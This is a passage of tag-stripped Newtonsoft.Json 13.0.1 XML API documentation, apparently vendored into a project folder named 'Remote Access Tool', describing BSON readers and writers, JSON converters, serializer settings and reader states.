constructor is being written. A property is being written. A write method has not been called. Indicates the method that will be used during deserialization for locating and loading assemblies. In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the method is used to load the assembly. In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The is used to load the assembly. Specifies that an output will not be null even if the corresponding type allows it. Specifies that when a method returns , the parameter will not be null even if the corresponding type allows it. Initializes the attribute with the specified return value condition. The return value condition. If the method returns this value, the associated parameter will not be null. Gets the return value condition. Specifies that an output may be null even if the corresponding type disallows it. Specifies that null is allowed as an input even if the corresponding type disallows it. Specifies that the method will not return if the associated Boolean parameter is passed the specified value. Initializes a new instance of the class. The condition parameter value. Code after the method will be considered unreachable by diagnostics if the argument to the associated parameter matches this value. Gets the condition parameter value. ================================================ FILE: Remote Access Tool/packages/Newtonsoft.Json.13.0.1/lib/netstandard1.3/Newtonsoft.Json.xml ================================================ Newtonsoft.Json Represents a BSON Oid (object id). Gets or sets the value of the Oid. The value of the Oid. Initializes a new instance of the class. The Oid value. Represents a reader that provides fast, non-cached, forward-only access to serialized BSON data. Gets or sets a value indicating whether binary data reading should be compatible with incorrect Json.NET 3.5 written binary. true if binary data reading will be compatible with incorrect Json.NET 3.5 written binary; otherwise, false. Gets or sets a value indicating whether the root object will be read as a JSON array. true if the root object will be read as a JSON array; otherwise, false. Gets or sets the used when reading values from BSON. The used when reading values from BSON. Initializes a new instance of the class. The containing the BSON data to read. Initializes a new instance of the class. The containing the BSON data to read. Initializes a new instance of the class. The containing the BSON data to read. if set to true the root object will be read as a JSON array. The used when reading values from BSON. Initializes a new instance of the class. The containing the BSON data to read. if set to true the root object will be read as a JSON array. The used when reading values from BSON. Reads the next JSON token from the underlying . true if the next token was read successfully; false if there are no more tokens to read. Changes the reader's state to . If is set to true, the underlying is also closed. Represents a writer that provides a fast, non-cached, forward-only way of generating BSON data. Gets or sets the used when writing values to BSON. When set to no conversion will occur. The used when writing values to BSON. Initializes a new instance of the class. The to write to. Initializes a new instance of the class. The to write to. Flushes whatever is in the buffer to the underlying and also flushes the underlying stream. Writes the end. The token. Writes a comment /*...*/ containing the specified text. Text to place inside the comment. Writes the start of a constructor with the given name. The name of the constructor. Writes raw JSON. The raw JSON to write. Writes raw JSON where a value is expected and updates the writer's state. The raw JSON to write. Writes the beginning of a JSON array. Writes the beginning of a JSON object. Writes the property name of a name/value pair on a JSON object. The name of the property. Closes this writer. If is set to true, the underlying is also closed. If is set to true, the JSON is auto-completed. Writes a value. An error will raised if the value cannot be written as a single JSON token. The value to write. Writes a null value. Writes an undefined value. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a [] value. The [] value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a [] value that represents a BSON object id. The Object ID value to write. Writes a BSON regex. The regex pattern. The regex options. Specifies how constructors are used when initializing objects during deserialization by the . First attempt to use the public default constructor, then fall back to a single parameterized constructor, then to the non-public default constructor. Json.NET will use a non-public default constructor before falling back to a parameterized constructor. Converts a binary value to and from a base 64 string value. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts a to and from JSON and BSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Creates a custom object. The object type to convert. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Creates an object which will then be populated by the serializer. Type of the object. The created object. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Gets a value indicating whether this can write JSON. true if this can write JSON; otherwise, false. Provides a base class for converting a to and from JSON. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts a F# discriminated union type to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts an to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Gets a value indicating whether this can write JSON. true if this can write JSON; otherwise, false. Converts a to and from the ISO 8601 date format (e.g. "2008-04-12T12:53Z"). Gets or sets the date time styles used when converting a date to and from JSON. The date time styles used when converting a date to and from JSON. Gets or sets the date time format used when converting a date to and from JSON. The date time format used when converting a date to and from JSON. Gets or sets the culture used when converting a date to and from JSON. The culture used when converting a date to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Converts a to and from a JavaScript Date constructor (e.g. new Date(52231943)). Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing property value of the JSON that is being converted. The calling serializer. The object value. Converts a to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts a to and from JSON and BSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts an to and from its name string value. Gets or sets a value indicating whether the written enum text should be camel case. The default value is false. true if the written enum text will be camel case; otherwise, false. Gets or sets the naming strategy used to resolve how enum text is written. The naming strategy used to resolve how enum text is written. Gets or sets a value indicating whether integer values are allowed when serializing and deserializing. The default value is true. true if integers are allowed when serializing and deserializing; otherwise, false. Initializes a new instance of the class. Initializes a new instance of the class. true if the written enum text will be camel case; otherwise, false. Initializes a new instance of the class. The naming strategy used to resolve how enum text is written. true if integers are allowed when serializing and deserializing; otherwise, false. Initializes a new instance of the class. The of the used to write enum text. Initializes a new instance of the class. The of the used to write enum text. The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. Initializes a new instance of the class. The of the used to write enum text. The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. true if integers are allowed when serializing and deserializing; otherwise, false. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts a to and from Unix epoch time Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing property value of the JSON that is being converted. The calling serializer. The object value. Converts a to and from a string (e.g. "1.2.3.4"). Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing property value of the JSON that is being converted. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts XML to and from JSON. Gets or sets the name of the root element to insert when deserializing to XML if the JSON structure has produced multiple root elements. The name of the deserialized root element. Gets or sets a value to indicate whether to write the Json.NET array attribute. This attribute helps preserve arrays when converting the written XML back to JSON. true if the array attribute is written to the XML; otherwise, false. Gets or sets a value indicating whether to write the root JSON object. true if the JSON root object is omitted; otherwise, false. Gets or sets a value indicating whether to encode special characters when converting JSON to XML. If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify XML namespaces, attributes or processing directives. Instead special characters are encoded and written as part of the XML element name. true if special characters are encoded; otherwise, false. Writes the JSON representation of the object. The to write to. The calling serializer. The value. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Checks if the is a namespace attribute. Attribute name to test. The attribute name prefix if it has one, otherwise an empty string. true if attribute name is for a namespace attribute, otherwise false. Determines whether this instance can convert the specified value type. Type of the value. true if this instance can convert the specified value type; otherwise, false. Specifies how dates are formatted when writing JSON text. Dates are written in the ISO 8601 format, e.g. "2012-03-21T05:40Z". Dates are written in the Microsoft JSON format, e.g. "\/Date(1198908717056)\/". Specifies how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON text. Date formatted strings are not parsed to a date type and are read as strings. Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . Specifies how to treat the time value when converting between string and . Treat as local time. If the object represents a Coordinated Universal Time (UTC), it is converted to the local time. Treat as a UTC. If the object represents a local time, it is converted to a UTC. Treat as a local time if a is being converted to a string. If a string is being converted to , convert to a local time if a time zone is specified. Time zone information should be preserved when converting. The default JSON name table implementation. Initializes a new instance of the class. Gets a string containing the same characters as the specified range of characters in the given array. The character array containing the name to find. The zero-based index into the array specifying the first character of the name. The number of characters in the name. A string containing the same characters as the specified range of characters in the given array. Adds the specified string into name table. The string to add. This method is not thread-safe. The resolved string. Specifies default value handling options for the . Include members where the member value is the same as the member's default value when serializing objects. Included members are written to JSON. Has no effect when deserializing. Ignore members where the member value is the same as the member's default value when serializing objects so that it is not written to JSON. This option will ignore all default values (e.g. null for objects and nullable types; 0 for integers, decimals and floating point numbers; and false for booleans). The default value ignored can be changed by placing the on the property. Members with a default value but no JSON will be set to their default value when deserializing. Ignore members where the member value is the same as the member's default value when serializing objects and set members to their default value when deserializing. Specifies float format handling options when writing special floating point numbers, e.g. , and with . Write special floating point values as strings in JSON, e.g. "NaN", "Infinity", "-Infinity". Write special floating point values as symbols in JSON, e.g. NaN, Infinity, -Infinity. Note that this will produce non-valid JSON. Write special floating point values as the property's default value in JSON, e.g. 0.0 for a property, null for a of property. Specifies how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. Floating point numbers are parsed to . Floating point numbers are parsed to . Specifies formatting options for the . No special formatting is applied. This is the default. Causes child objects to be indented according to the and settings. Provides an interface for using pooled arrays. The array type content. Rent an array from the pool. This array must be returned when it is no longer needed. The minimum required length of the array. The returned array may be longer. The rented array from the pool. This array must be returned when it is no longer needed. Return an array to the pool. The array that is being returned. Provides an interface to enable a class to return line and position information. Gets a value indicating whether the class can return line information. true if and can be provided; otherwise, false. Gets the current line number. The current line number or 0 if no line information is available (for example, when returns false). Gets the current line position. The current line position or 0 if no line information is available (for example, when returns false). Instructs the how to serialize the collection. Gets or sets a value indicating whether null items are allowed in the collection. true if null items are allowed in the collection; otherwise, false. Initializes a new instance of the class. Initializes a new instance of the class with a flag indicating whether the array can contain null items. A flag indicating whether the array can contain null items. Initializes a new instance of the class with the specified container Id. The container Id. Instructs the to use the specified constructor when deserializing that object. Instructs the how to serialize the object. Gets or sets the id. The id. Gets or sets the title. The title. Gets or sets the description. The description. Gets or sets the collection's items converter. The collection's items converter. The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. [JsonContainer(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] Gets or sets the of the . The of the . The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. [JsonContainer(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] Gets or sets a value that indicates whether to preserve object references. true to keep object reference; otherwise, false. The default is false. Gets or sets a value that indicates whether to preserve collection's items references. true to keep collection's items object references; otherwise, false. The default is false. Gets or sets the reference loop handling used when serializing the collection's items. The reference loop handling. Gets or sets the type name handling used when serializing the collection's items. The type name handling. Initializes a new instance of the class. Initializes a new instance of the class with the specified container Id. The container Id. Provides methods for converting between .NET types and JSON types. Gets or sets a function that creates default . Default settings are automatically used by serialization methods on , and and on . To serialize without using any default settings create a with . Represents JavaScript's boolean value true as a string. This field is read-only. Represents JavaScript's boolean value false as a string. This field is read-only. Represents JavaScript's null as a string. This field is read-only. Represents JavaScript's undefined as a string. This field is read-only. Represents JavaScript's positive infinity as a string. This field is read-only. Represents JavaScript's negative infinity as a string. This field is read-only. Represents JavaScript's NaN as a string. This field is read-only. Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation using the specified. The value to convert. The format the date will be converted to. The time zone handling when the date is converted to a string. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation using the specified. The value to convert. The format the date will be converted to. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. The string delimiter character. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. The string delimiter character. The string escape handling. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Serializes the specified object to a JSON string. The object to serialize. A JSON string representation of the object. Serializes the specified object to a JSON string using formatting. The object to serialize. Indicates how the output should be formatted. A JSON string representation of the object. Serializes the specified object to a JSON string using a collection of . The object to serialize. A collection of converters used while serializing. A JSON string representation of the object. Serializes the specified object to a JSON string using formatting and a collection of . The object to serialize. Indicates how the output should be formatted. A collection of converters used while serializing. A JSON string representation of the object. Serializes the specified object to a JSON string using . The object to serialize. The used to serialize the object. If this is null, default serialization settings will be used. A JSON string representation of the object. Serializes the specified object to a JSON string using a type, formatting and . The object to serialize. The used to serialize the object. If this is null, default serialization settings will be used. The type of the value being serialized. This parameter is used when is to write out the type name if the type of the value does not match. Specifying the type is optional. A JSON string representation of the object. Serializes the specified object to a JSON string using formatting and . The object to serialize. Indicates how the output should be formatted. The used to serialize the object. If this is null, default serialization settings will be used. A JSON string representation of the object. Serializes the specified object to a JSON string using a type, formatting and . The object to serialize. Indicates how the output should be formatted. The used to serialize the object. If this is null, default serialization settings will be used. The type of the value being serialized. This parameter is used when is to write out the type name if the type of the value does not match. Specifying the type is optional. A JSON string representation of the object. Deserializes the JSON to a .NET object. The JSON to deserialize. The deserialized object from the JSON string. Deserializes the JSON to a .NET object using . The JSON to deserialize. The used to deserialize the object. If this is null, default serialization settings will be used. The deserialized object from the JSON string. Deserializes the JSON to the specified .NET type. The JSON to deserialize. The of object being deserialized. The deserialized object from the JSON string. Deserializes the JSON to the specified .NET type. The type of the object to deserialize to. The JSON to deserialize. The deserialized object from the JSON string. Deserializes the JSON to the given anonymous type. The anonymous type to deserialize to. This can't be specified traditionally and must be inferred from the anonymous type passed as a parameter. The JSON to deserialize. The anonymous type object. The deserialized anonymous type from the JSON string. Deserializes the JSON to the given anonymous type using . The anonymous type to deserialize to. This can't be specified traditionally and must be inferred from the anonymous type passed as a parameter. The JSON to deserialize. The anonymous type object. The used to deserialize the object. If this is null, default serialization settings will be used. The deserialized anonymous type from the JSON string. Deserializes the JSON to the specified .NET type using a collection of . The type of the object to deserialize to. The JSON to deserialize. Converters to use while deserializing. The deserialized object from the JSON string. Deserializes the JSON to the specified .NET type using . The type of the object to deserialize to. The object to deserialize. The used to deserialize the object. If this is null, default serialization settings will be used. The deserialized object from the JSON string. Deserializes the JSON to the specified .NET type using a collection of . The JSON to deserialize. The type of the object to deserialize. Converters to use while deserializing. The deserialized object from the JSON string. Deserializes the JSON to the specified .NET type using . The JSON to deserialize. The type of the object to deserialize to. The used to deserialize the object. If this is null, default serialization settings will be used. The deserialized object from the JSON string. Populates the object with values from the JSON string. The JSON to populate values from. The target object to populate values onto. Populates the object with values from the JSON string using . The JSON to populate values from. The target object to populate values onto. The used to deserialize the object. If this is null, default serialization settings will be used. Serializes the to a JSON string. The node to serialize. A JSON string of the . Serializes the to a JSON string using formatting. The node to serialize. Indicates how the output should be formatted. A JSON string of the . Serializes the to a JSON string using formatting and omits the root object if is true. The node to serialize. Indicates how the output should be formatted. Omits writing the root object. A JSON string of the . Deserializes the from a JSON string. The JSON string. The deserialized . Deserializes the from a JSON string nested in a root element specified by . The JSON string. The name of the root element to append when deserializing. The deserialized . Deserializes the from a JSON string nested in a root element specified by and writes a Json.NET array attribute for collections. The JSON string. The name of the root element to append when deserializing. A value to indicate whether to write the Json.NET array attribute. This attribute helps preserve arrays when converting the written XML back to JSON. The deserialized . Deserializes the from a JSON string nested in a root element specified by , writes a Json.NET array attribute for collections, and encodes special characters. The JSON string. The name of the root element to append when deserializing. A value to indicate whether to write the Json.NET array attribute. This attribute helps preserve arrays when converting the written XML back to JSON. A value to indicate whether to encode special characters when converting JSON to XML. If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify XML namespaces, attributes or processing directives. Instead special characters are encoded and written as part of the XML element name. The deserialized . Serializes the to a JSON string. The node to convert to JSON. A JSON string of the . Serializes the to a JSON string using formatting. The node to convert to JSON. Indicates how the output should be formatted. A JSON string of the . Serializes the to a JSON string using formatting and omits the root object if is true. The node to serialize. Indicates how the output should be formatted. Omits writing the root object. A JSON string of the . Deserializes the from a JSON string. The JSON string. The deserialized . Deserializes the from a JSON string nested in a root element specified by . The JSON string. The name of the root element to append when deserializing. The deserialized . Deserializes the from a JSON string nested in a root element specified by and writes a Json.NET array attribute for collections. The JSON string. The name of the root element to append when deserializing. A value to indicate whether to write the Json.NET array attribute. This attribute helps preserve arrays when converting the written XML back to JSON. The deserialized . Deserializes the from a JSON string nested in a root element specified by , writes a Json.NET array attribute for collections, and encodes special characters. The JSON string. The name of the root element to append when deserializing. A value to indicate whether to write the Json.NET array attribute. This attribute helps preserve arrays when converting the written XML back to JSON. A value to indicate whether to encode special characters when converting JSON to XML. If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify XML namespaces, attributes or processing directives. Instead special characters are encoded and written as part of the XML element name. The deserialized . Converts an object to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Gets a value indicating whether this can read JSON. true if this can read JSON; otherwise, false. Gets a value indicating whether this can write JSON. true if this can write JSON; otherwise, false. Converts an object to and from JSON. The object type to convert. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. If there is no existing value then null will be used. The existing value has a value. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Instructs the to use the specified when serializing the member or class. Gets the of the . The of the . The parameter list to use when constructing the described by . If null, the default constructor is used. Initializes a new instance of the class. Type of the . Initializes a new instance of the class. Type of the . Parameter list to use when constructing the . Can be null. Represents a collection of . Instructs the how to serialize the collection. Initializes a new instance of the class. Initializes a new instance of the class with the specified container Id. The container Id. The exception thrown when an error occurs during JSON serialization or deserialization. Initializes a new instance of the class. Initializes a new instance of the class with a specified error message. The error message that explains the reason for the exception. Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The exception that is the cause of the current exception, or null if no inner exception is specified. Instructs the to deserialize properties with no matching class member into the specified collection and write values during serialization. Gets or sets a value that indicates whether to write extension data when serializing the object. true to write extension data when serializing the object; otherwise, false. The default is true. Gets or sets a value that indicates whether to read extension data when deserializing the object. true to read extension data when deserializing the object; otherwise, false. The default is true. Initializes a new instance of the class. Instructs the not to serialize the public field or public read/write property value. Base class for a table of atomized string objects. Gets a string containing the same characters as the specified range of characters in the given array. The character array containing the name to find. The zero-based index into the array specifying the first character of the name. The number of characters in the name. A string containing the same characters as the specified range of characters in the given array. Instructs the how to serialize the object. Gets or sets the member serialization. The member serialization. Gets or sets the missing member handling used when deserializing this object. The missing member handling. Gets or sets how the object's properties with null values are handled during serialization and deserialization. How the object's properties with null values are handled during serialization and deserialization. Gets or sets a value that indicates whether the object's properties are required. A value indicating whether the object's properties are required. Initializes a new instance of the class. Initializes a new instance of the class with the specified member serialization. The member serialization. Initializes a new instance of the class with the specified container Id. The container Id. Instructs the to always serialize the member with the specified name. Gets or sets the type used when serializing the property's collection items. The collection's items type. The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. [JsonProperty(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] Gets or sets the of the . The of the . The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. [JsonProperty(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] Gets or sets the null value handling used when serializing this property. The null value handling. Gets or sets the default value handling used when serializing this property. The default value handling. Gets or sets the reference loop handling used when serializing this property. The reference loop handling. Gets or sets the object creation handling used when deserializing this property. The object creation handling. Gets or sets the type name handling used when serializing this property. The type name handling. Gets or sets whether this property's value is serialized as a reference. Whether this property's value is serialized as a reference. Gets or sets the order of serialization of a member. The numeric order of serialization. Gets or sets a value indicating whether this property is required. A value indicating whether this property is required. Gets or sets the name of the property. The name of the property. Gets or sets the reference loop handling used when serializing the property's collection items. The collection's items reference loop handling. Gets or sets the type name handling used when serializing the property's collection items. The collection's items type name handling. Gets or sets whether this property's collection items are serialized as a reference. Whether this property's collection items are serialized as a reference. Initializes a new instance of the class. Initializes a new instance of the class with the specified name. Name of the property. Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. Asynchronously reads the next JSON token from the source. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns true if the next token was read successfully; false if there are no more tokens to read. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously skips the children of the current token. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously reads the next JSON token from the source as a []. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the []. This result will be null at the end of an array. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously reads the next JSON token from the source as a . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the . This result will be null at the end of an array. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Specifies the state of the reader. A read method has not been called. The end of the file has been reached successfully. Reader is at a property. Reader is at the start of an object. Reader is in an object. Reader is at the start of an array. Reader is in an array. The method has been called. Reader has just read a value. Reader is at the start of a constructor. Reader is in a constructor. An error occurred that prevents the read operation from continuing. The end of the file has been reached successfully. Gets the current reader state. The current reader state. Gets or sets a value indicating whether the source should be closed when this reader is closed. true to close the source when this reader is closed; otherwise false. The default is true. Gets or sets a value indicating whether multiple pieces of JSON content can be read from a continuous stream without erroring. true to support reading multiple pieces of JSON content; otherwise false. The default is false. Gets the quotation mark character used to enclose the value of a string. Gets or sets how time zones are handled when reading JSON. Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. Gets or sets how custom date formatted strings are parsed when reading JSON. Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . A null value means there is no maximum. The default value is 128. Gets the type of the current JSON token. Gets the text value of the current JSON token. Gets the .NET type for the current JSON token. Gets the depth of the current token in the JSON document. The depth of the current token in the JSON document. Gets the path of the current JSON token. Gets or sets the culture used when reading JSON. Defaults to . Initializes a new instance of the class. Reads the next JSON token from the source. true if the next token was read successfully; false if there are no more tokens to read. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the source as a . A . This method will return null at the end of an array. Reads the next JSON token from the source as a []. A [] or null if the next JSON token is null. This method will return null at the end of an array. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the source as a of . A of . This method will return null at the end of an array. Skips the children of the current token. Sets the current token. The new token. Sets the current token and value. The new token. The value. Sets the current token and value. The new token. The value. A flag indicating whether the position index inside an array should be updated. Sets the state based on current token type. Releases unmanaged and - optionally - managed resources. true to release both managed and unmanaged resources; false to release only unmanaged resources. Changes the reader's state to . If is set to true, the source is also closed. The exception thrown when an error occurs while reading JSON text. Gets the line number indicating where the error occurred. The line number indicating where the error occurred. Gets the line position indicating where the error occurred. The line position indicating where the error occurred. Gets the path to the JSON where the error occurred. The path to the JSON where the error occurred. Initializes a new instance of the class. Initializes a new instance of the class with a specified error message. The error message that explains the reason for the exception. Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The exception that is the cause of the current exception, or null if no inner exception is specified. Initializes a new instance of the class with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The path to the JSON where the error occurred. The line number indicating where the error occurred. The line position indicating where the error occurred. The exception that is the cause of the current exception, or null if no inner exception is specified. Instructs the to always serialize the member, and to require that the member has a value. The exception thrown when an error occurs during JSON serialization or deserialization. Gets the line number indicating where the error occurred. The line number indicating where the error occurred. Gets the line position indicating where the error occurred. The line position indicating where the error occurred. Gets the path to the JSON where the error occurred. The path to the JSON where the error occurred. Initializes a new instance of the class. Initializes a new instance of the class with a specified error message. The error message that explains the reason for the exception. Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The exception that is the cause of the current exception, or null if no inner exception is specified. Initializes a new instance of the class with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The path to the JSON where the error occurred. The line number indicating where the error occurred. The line position indicating where the error occurred. The exception that is the cause of the current exception, or null if no inner exception is specified. Serializes and deserializes objects into and from the JSON format. The enables you to control how objects are encoded into JSON. Occurs when the errors during serialization and deserialization. Gets or sets the used by the serializer when resolving references. Gets or sets the used by the serializer when resolving type names. Gets or sets the used by the serializer when resolving type names. Gets or sets the used by the serializer when writing trace messages. The trace writer. Gets or sets the equality comparer used by the serializer when comparing references. The equality comparer. Gets or sets how type name writing and reading is handled by the serializer. The default value is . should be used with caution when your application deserializes JSON from an external source. Incoming types should be validated with a custom when deserializing with a value other than . Gets or sets how a type name assembly is written and resolved by the serializer. The default value is . The type name assembly format. Gets or sets how a type name assembly is written and resolved by the serializer. The default value is . The type name assembly format. Gets or sets how object references are preserved by the serializer. The default value is . Gets or sets how reference loops (e.g. a class 